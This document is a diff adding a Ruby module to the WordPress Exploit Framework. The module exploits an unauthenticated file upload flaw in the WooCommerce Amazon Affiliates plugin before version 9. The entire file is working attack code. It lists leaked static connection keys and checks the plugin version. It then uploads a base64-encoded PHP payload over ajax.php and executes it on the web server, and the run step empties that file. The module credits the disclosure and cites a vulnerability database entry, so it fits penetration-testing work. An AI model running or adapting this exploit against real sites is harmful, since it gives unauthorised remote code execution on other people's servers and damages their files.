|
| 1 | +class Wpxf::Exploit::WoocommerceAmazonAffiliatesV8ShellUpload < Wpxf::Module |
| 2 | + include Wpxf::WordPress::ShellUpload |
| 3 | + |
| 4 | + def initialize |
| 5 | + super |
| 6 | + |
| 7 | + update_info( |
| 8 | + name: 'WooCommerce Amazon Affiliates < v9 Unauthenticated Shell Upload', |
| 9 | + desc: %( |
| 10 | + This module exploits a file upload vulnerability which allows users |
| 11 | + to upload and execute PHP scripts in the context of the web server. |
| 12 | +
|
| 13 | + In order to use this module, a valid connection key must be provided. |
| 14 | + These are statically defined keys, that have been changed on a number |
| 15 | + of occasions. |
| 16 | +
|
| 17 | + Some of the keys that have been identified are: |
| 18 | + - 1ec4614ce9b023d2a58deef6dcabb6ab |
| 19 | + - c125a47cba1e8ec73945dd622d142f79 |
| 20 | + - 69efc4922575861f31125878597e97cf |
| 21 | + ), |
| 22 | + author: [ |
| 23 | + 'Evex_1337', # Discovery and disclosure |
| 24 | + 'Rob Carr <rob[at]rastating.com>' # WPXF module |
| 25 | + ], |
| 26 | + references: [ |
| 27 | + ['WPVDB', '7940'] |
| 28 | + ], |
| 29 | + date: 'Apr 25 2015', |
| 30 | + desc_preformatted: true |
| 31 | + ) |
| 32 | + |
| 33 | + register_option( |
| 34 | + StringOption.new( |
| 35 | + name: 'connection_key', |
| 36 | + desc: 'The plugin connection key, see module description for static keys', |
| 37 | + required: true |
| 38 | + ) |
| 39 | + ) |
| 40 | + end |
| 41 | + |
| 42 | + def emit_usage_info |
| 43 | + emit_warning 'When executing this module, the ajax.php file in woozone/modules/remote_support will be deleted. '\ |
| 44 | + 'In order to be able to re-use this module on the same target, be sure to re-create ajax.php if ' \ |
| 45 | + 'the selected payload is unable to re-create it automatically.' |
| 46 | + end |
| 47 | + |
| 48 | + def check |
| 49 | + readme = normalize_uri(wordpress_url_plugins, 'woozone', 'changelog.txt') |
| 50 | + check_version_from_custom_file(readme, /##\s\[(\d\.\d(\.\d)*)\]/, '9') |
| 51 | + end |
| 52 | + |
| 53 | + def uploader_url |
| 54 | + normalize_uri(wordpress_url_plugins, 'woozone', 'modules', 'remote_support', 'remote_tunnel.php') |
| 55 | + end |
| 56 | + |
| 57 | + def payload_body_builder |
| 58 | + builder = Utility::BodyBuilder.new |
| 59 | + builder.add_field('connection_key', datastore['connection_key']) |
| 60 | + builder.add_field('action', 'save_file') |
| 61 | + builder.add_field('file', 'ajax.php') |
| 62 | + builder.add_field('file_content', Base64.strict_encode64(payload.encoded)) |
| 63 | + builder |
| 64 | + end |
| 65 | + |
| 66 | + def uploaded_payload_location |
| 67 | + normalize_uri(wordpress_url_plugins, 'woozone', 'modules', 'remote_support', 'ajax.php') |
| 68 | + end |
| 69 | + |
| 70 | + def validate_upload_result |
| 71 | + upload_result.body !~ /Invalid\skey!/i |
| 72 | + end |
| 73 | + |
| 74 | + def run |
| 75 | + payload.enqueue_command('echo "" > ajax.php') |
| 76 | + super |
| 77 | + end |
| 78 | +end |
0 commit comments